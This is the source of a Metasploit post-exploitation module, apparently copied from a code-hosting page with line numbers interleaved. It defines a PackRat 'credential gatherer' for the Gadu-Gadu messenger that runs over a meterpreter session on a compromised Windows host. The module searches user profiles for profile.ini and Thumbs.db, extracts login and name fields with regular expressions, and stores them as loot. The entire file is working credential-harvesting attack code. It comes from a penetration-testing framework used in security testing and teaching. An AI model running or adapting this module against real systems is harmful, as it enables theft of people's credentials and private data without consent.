Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
# frozen_string_literal: true
2

3
##
4
# This module requires Metasploit: https://metasploit.com/download
5
# Current source: https://github.com/rapid7/metasploit-framework
6
##
7

8
class MetasploitModule < Msf::Post
9
  # this associative array defines the artifacts known to PackRat
10
  include Msf::Post::File
11
  include Msf::Post::Windows::UserProfiles
12
  include Msf::Post::Windows::Packrat
13
  ARTIFACTS =
14
    {
15
      application: 'gadugadu',
16
      app_category: 'chats',
17
      gatherable_artifacts: [
18
        {
19
          filetypes: 'chat_logs',
20
          path: 'GG dysk',
21
          dir: 'Galeria',
22
          artifact_file_name: 'Thumbs.db',
23
          description: 'Saved GaduGadu User Profile Images in Thumbs.db file',
24
          credential_type: 'image'
25
        },
26
        {
27
          filetypes: 'chat_logs',
28
          path: 'AppData',
29
          dir: 'GG',
30
          artifact_file_name: 'profile.ini',
31
          description: 'GaduGadu profile User information : Rename long saved artifactto in profile.ini',
32
          credential_type: 'text',
33
          regex_search: [
34
            {
35
              extraction_description: 'Searches for credentials (USERNAMES/PASSWORDS)',
36
              extraction_type: 'credentials',
37
              regex: [
38
                '(?i-mx:name=.*)',
39
                '(?i-mx:login=.*)',
40
                '(?i-mx:path=.*)'
41
              ]
42
            }
43
          ]
44
        }
45
      ]
46
    }.freeze
47

48
  def initialize(info = {})
49
    super(
50
      update_info(
51
        info,
52
        'Name' => 'Gadugadu credential gatherer',
53
        'Description' => %q{
54
          PackRat is a post-exploitation module that gathers file and information artifacts from end users' systems.
55
          PackRat searches for and downloads files of interest (such as config files, and received and deleted emails) and extracts information (such as contacts and usernames and passwords), using regexp, JSON, XML, and SQLite queries.
56
          Further details can be found in the module documentation.
57
          This is a module that searches for Gadugadu credentials on a windows remote host. Gadu-Gadu is a Polish instant messaging client using a proprietary protocol. Gadu-Gadu was the most popular IM service in Poland.
58
        },
59
        'License' => MSF_LICENSE,
60
        'Author' => [
61
          'Kazuyoshi Maruta',
62
          'Daniel Hallsworth',
63
          'Barwar Salim M',
64
          'Z. Cliffe Schreuders' # http://z.cliffe.schreuders.org
65
        ],
66
        'Platform' => ['win'],
67
        'SessionTypes' => ['meterpreter'],
68
        'Notes' => {
69
          'Stability' => [CRASH_SAFE],
70
          'Reliability' => [],
71
          'SideEffects' => []
72
        }
73
      )
74
    )
75

76
    register_options(
77
      [
78
        OptRegexp.new('REGEX', [false, 'Match a regular expression', '^password']),
79
        OptBool.new('STORE_LOOT', [false, 'Store artifacts into loot database', true]),
80
        OptBool.new('EXTRACT_DATA', [false, 'Extract data and stores in a separate file', true]),
81
        # enumerates the options based on the artifacts that are defined below
82
        OptEnum.new('ARTIFACTS', [
83
          false, 'Type of artifacts to collect', 'All', ARTIFACTS[:gatherable_artifacts].map do |k|
84
                                                          k[:filetypes]
85
                                                        end.uniq.unshift('All')
86
        ])
87
      ]
88
    )
89
  end
90

91
  def run
92
    print_status('Filtering based on these selections:  ')
93
    print_status("ARTIFACTS: #{datastore['ARTIFACTS'].capitalize}")
94
    print_status("STORE_LOOT: #{datastore['STORE_LOOT']}")
95
    print_status("EXTRACT_DATA: #{datastore['EXTRACT_DATA']}\n")
96

97
    # used to grab files for each user on the remote host
98
    grab_user_profiles.each do |userprofile|
99
      run_packrat(userprofile, ARTIFACTS)
100
    end
101

102
    print_status 'PackRat credential sweep Completed'
103
  end
104
end
105

106